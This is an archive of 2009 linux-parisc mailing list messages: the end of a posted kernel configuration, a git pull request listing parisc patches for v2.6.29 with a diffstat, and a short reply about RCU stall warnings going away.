CONFIG_SND_ALS300=m
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
CONFIG_SND_DARLA20=m
CONFIG_SND_GINA20=m
CONFIG_SND_LAYLA20=m
CONFIG_SND_DARLA24=m
CONFIG_SND_GINA24=m
CONFIG_SND_LAYLA24=m
CONFIG_SND_MONA=m
CONFIG_SND_MIA=m
CONFIG_SND_ECHO3G=m
CONFIG_SND_INDIGO=m
CONFIG_SND_INDIGOIO=m
CONFIG_SND_INDIGODJ=m
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
CONFIG_SND_PCXHR=m
CONFIG_SND_RIPTIDE=m
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=m
# CONFIG_HID_DEBUG is not set
# CONFIG_HIDRAW is not set
CONFIG_HID_PID=y

#
# Special HID drivers
#
CONFIG_HID_COMPAT=y
# CONFIG_USB_SUPPORT is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=m

#
# LED drivers
#

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
CONFIG_LEDS_TRIGGER_TIMER=m
CONFIG_LEDS_TRIGGER_HEARTBEAT=m
CONFIG_LEDS_TRIGGER_BACKLIGHT=m
CONFIG_LEDS_TRIGGER_DEFAULT_ON=m
# CONFIG_ACCESSIBILITY is not set
CONFIG_INFINIBAND=m
CONFIG_INFINIBAND_USER_MAD=m
CONFIG_INFINIBAND_USER_ACCESS=m
CONFIG_INFINIBAND_USER_MEM=y
CONFIG_INFINIBAND_ADDR_TRANS=y
CONFIG_INFINIBAND_MTHCA=m
CONFIG_INFINIBAND_MTHCA_DEBUG=y
CONFIG_INFINIBAND_IPATH=m
CONFIG_INFINIBAND_AMSO1100=m
# CONFIG_INFINIBAND_AMSO1100_DEBUG is not set
# CONFIG_MLX4_INFINIBAND is not set
# CONFIG_INFINIBAND_NES is not set
CONFIG_INFINIBAND_IPOIB=m
# CONFIG_INFINIBAND_IPOIB_CM is not set
CONFIG_INFINIBAND_IPOIB_DEBUG=y
# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
CONFIG_INFINIBAND_SRP=m
CONFIG_INFINIBAND_ISER=m
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_PARISC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=m
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
CONFIG_EXT4_FS=m
# CONFIG_EXT4DEV_COMPAT is not set
CONFIG_EXT4_FS_XATTR=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=m
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=m
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
CONFIG_REISERFS_FS_XATTR=y
CONFIG_REISERFS_FS_POSIX_ACL=y
CONFIG_REISERFS_FS_SECURITY=y
CONFIG_JFS_FS=m
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
# CONFIG_JFS_DEBUG is not set
# CONFIG_JFS_STATISTICS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_FILE_LOCKING=y
CONFIG_XFS_FS=m
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
# CONFIG_XFS_DEBUG is not set
CONFIG_GFS2_FS=m
CONFIG_GFS2_FS_LOCKING_DLM=m
CONFIG_OCFS2_FS=m
CONFIG_OCFS2_FS_O2CB=m
CONFIG_OCFS2_FS_USERSPACE_CLUSTER=m
CONFIG_OCFS2_FS_STATS=y
CONFIG_OCFS2_DEBUG_MASKLOG=y
# CONFIG_OCFS2_DEBUG_FS is not set
# CONFIG_OCFS2_COMPAT_JBD is not set
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=m
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
CONFIG_GENERIC_ACL=y

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_NTFS_FS=m
# CONFIG_NTFS_DEBUG is not set
CONFIG_NTFS_RW=y

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
CONFIG_NFSD=m
CONFIG_NFSD_V2_ACL=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=m
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_SUNRPC_XPRT_RDMA=m
# CONFIG_SUNRPC_REGISTER_V4 is not set
CONFIG_RPCSEC_GSS_KRB5=m
CONFIG_RPCSEC_GSS_SPKM3=m
CONFIG_SMB_FS=m
CONFIG_SMB_NLS_DEFAULT=y
CONFIG_SMB_NLS_REMOTE="cp437"
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
CONFIG_CIFS_WEAK_PW_HASH=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
# CONFIG_CIFS_DEBUG2 is not set
CONFIG_CIFS_EXPERIMENTAL=y
CONFIG_CIFS_DFS_UPCALL=y
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
# CONFIG_ACORN_PARTITION is not set
CONFIG_OSF_PARTITION=y
CONFIG_AMIGA_PARTITION=y
CONFIG_ATARI_PARTITION=y
CONFIG_MAC_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BSD_DISKLABEL=y
CONFIG_MINIX_SUBPARTITION=y
CONFIG_SOLARIS_X86_PARTITION=y
CONFIG_UNIXWARE_DISKLABEL=y
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
CONFIG_KARMA_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_SYSV68_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
CONFIG_DLM=m
# CONFIG_DLM_DEBUG is not set

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_SHIRQ=y
CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
CONFIG_TIMER_STATS=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_PI_LIST=y
# CONFIG_RT_MUTEX_TESTER is not set
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_SPINLOCK_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
CONFIG_RCU_CPU_STALL_DETECTOR=y
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set

#
# Tracers
#
# CONFIG_SCHED_TRACER is not set
# CONFIG_CONTEXT_SWITCH_TRACER is not set
# CONFIG_BOOT_TRACER is not set
# CONFIG_FIREWIRE_OHCI_REMOTE_DMA is not set
# CONFIG_DYNAMIC_PRINTK_DEBUG is not set
# CONFIG_SAMPLES is not set
CONFIG_DEBUG_RODATA=y

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_DEBUG_PROC_KEYS=y
CONFIG_SECURITY=y
CONFIG_SECURITYFS=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_FILE_CAPABILITIES=y
CONFIG_SECURITY_DEFAULT_MMAP_MIN_ADDR=0
# CONFIG_SECURITY_SMACK is not set
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_FIPS=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=m
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_CRYPTD=m
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
CONFIG_CRYPTO_CTS=m
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_LRW=m
CONFIG_CRYPTO_PCBC=m
CONFIG_CRYPTO_XTS=m

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=m
CONFIG_CRYPTO_XCBC=m

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_RMD128=m
CONFIG_CRYPTO_RMD160=m
CONFIG_CRYPTO_RMD256=m
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
CONFIG_CRYPTO_SEED=m
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_HIFN_795X=m
CONFIG_CRYPTO_DEV_HIFN_795X_RNG=y

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_T10DIF=m
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=m
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CHECK_SIGNATURE=y

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [git patches] parisc patches for v2.6.29
Date: Fri, 9 Jan 2009 16:03:40 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <20090109160340.GA12065@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231517109 21209 80.91.229.12 (9 Jan 2009 16:05:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Jan 2009 16:05:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752737AbZAIQEX@vger.kernel.org Fri Jan 09 17:06:19 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752737AbZAIQEX@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LLJs1-00041M-9v
	for glk-linux-kernel-3@gmane.org; Fri, 09 Jan 2009 17:06:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752737AbZAIQEX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 9 Jan 2009 11:04:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751953AbZAIQEE
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 9 Jan 2009 11:04:04 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:51498 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751660AbZAIQED (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 9 Jan 2009 11:04:03 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX190ONxja3dfEuwr/mpm+LenxaQZLIOpfNQ@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n09G3fqi012158
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 9 Jan 2009 16:03:41 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n09G3eej012157;
	Fri, 9 Jan 2009 16:03:40 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/8847/Fri Jan  9 10:51:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Fri, 09 Jan 2009 16:03:42 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:777913 gmane.linux.ports.parisc:1164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1164>

The following changes since commit fe0bdec68b77020281dc814805edfe594ae89e0f:
  Linus Torvalds (1):
        Merge branch 'audit.b61' of git://git.kernel.org/.../viro/audit-current

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Adrian Bunk (2):
      parisc: lib/: make code static
      parisc: drivers/parisc/: make code static

FUJITA Tomonori (1):
      parisc: remove dead BIO_VMERGE_BOUNDARY and BIO_VMERGE_MAX_SIZE definitions

Harvey Harrison (1):
      parisc: use the new byteorder headers

Helge Deller (4):
      parisc: fix GFP_KERNEL use while atomic in unwinder
      parisc: trivial fixes
      parisc: Replace NR_CPUS in parisc code
      parisc: add uevent helper for parisc bus

Julia Lawall (1):
      parisc: Use DEFINE_SPINLOCK

Kyle McMartin (7):
      parisc: use leX_to_cpu in place of __fswabX
      parisc: factor out sid to protid conversion
      parisc: fix braino in commit adding __space_to_prot
      parisc: quiet palo not-found message from "which"
      parisc: fix ipv6 checksum
      parisc: fix kernel crash (protection id trap) when compiling ruby1.9
      parisc: export length of os_hpmc vector

Roel Kluin (1):
      parisc: set_time() catch errors

 arch/parisc/Makefile                  |    2 +-
 arch/parisc/include/asm/byteorder.h   |   37 ++++++------------
 arch/parisc/include/asm/checksum.h    |    2 +-
 arch/parisc/include/asm/io.h          |   12 +----
 arch/parisc/include/asm/mmu_context.h |   13 ++++--
 arch/parisc/include/asm/processor.h   |    4 +-
 arch/parisc/include/asm/uaccess.h     |    2 +
 arch/parisc/kernel/drivers.c          |   40 ++++++++++++++++---
 arch/parisc/kernel/hpmc.S             |    8 +++-
 arch/parisc/kernel/irq.c              |   11 +++--
 arch/parisc/kernel/pdc_cons.c         |    2 +-
 arch/parisc/kernel/perf.c             |    4 +-
 arch/parisc/kernel/processor.c        |   68 +++++++++++++++++----------------
 arch/parisc/kernel/setup.c            |   11 +----
 arch/parisc/kernel/smp.c              |   32 +++++++--------
 arch/parisc/kernel/time.c             |    4 +-
 arch/parisc/kernel/topology.c         |    4 +-
 arch/parisc/kernel/traps.c            |    9 +++-
 arch/parisc/kernel/unwind.c           |    2 +-
 arch/parisc/lib/iomap.c               |    2 +-
 arch/parisc/lib/memcpy.c              |    2 +-
 arch/parisc/mm/fault.c                |   58 +++++++++++++++-------------
 drivers/parisc/asp.c                  |    3 +-
 drivers/parisc/ccio-dma.c             |    4 +-
 drivers/parisc/dino.c                 |    4 +-
 drivers/parisc/hppb.c                 |    2 +-
 drivers/parisc/lasi.c                 |    5 +-
 drivers/parisc/lba_pci.c              |    2 +-
 drivers/parisc/sba_iommu.c            |    9 +---
 drivers/parisc/wax.c                  |    3 +-
 drivers/rtc/rtc-parisc.c              |    3 +-
 31 files changed, 191 insertions(+), 173 deletions(-)

From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: RCU detected CPU 0 stall & timer_interrupt(CPU 0): delayed!
Date: Fri, 9 Jan 2009 19:12:58 +0200 (EET)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0901091910330.14526@math.ut.ee>
References: <Pine.SOC.4.64.0901091632240.14526@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1231521203 5300 80.91.229.12 (9 Jan 2009 17:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Jan 2009 17:13:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 09 18:14:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LLKwC-00086Q-RS
	for glpp-linux-parisc@gmane.org; Fri, 09 Jan 2009 18:14:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753909AbZAIRNA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Jan 2009 12:13:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753898AbZAIRNA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 9 Jan 2009 12:13:00 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:58818 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753849AbZAIRM7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Jan 2009 12:12:59 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 4939E73D8C4
	for <linux-parisc@vger.kernel.org>; Fri,  9 Jan 2009 19:12:58 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 3426CFD7A1; Fri,  9 Jan 2009 19:12:58 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 2A3FDFD79B
	for <linux-parisc@vger.kernel.org>; Fri,  9 Jan 2009 19:12:58 +0200 (EET)
In-Reply-To: <Pine.SOC.4.64.0901091632240.14526@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1165>

> I tried stock 2.6.28 on a parisc64 machine (L1000). 2.6.27 worked fine 
> (except 2 bootup warnings that are known here as I was told). I turned 
> on some debugging options for the current kernel, among them RCU stall 
> detection, and it triggered quite some. In spite of the warnings, the 
> computer seems to work fine. But I'm writing here because this might 
> interest somebody.

Turned off RCU stall detection and now the messages are gon as expected, 
everything works fine. This is the same as 2.6.27 without the RCU stall 
check.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
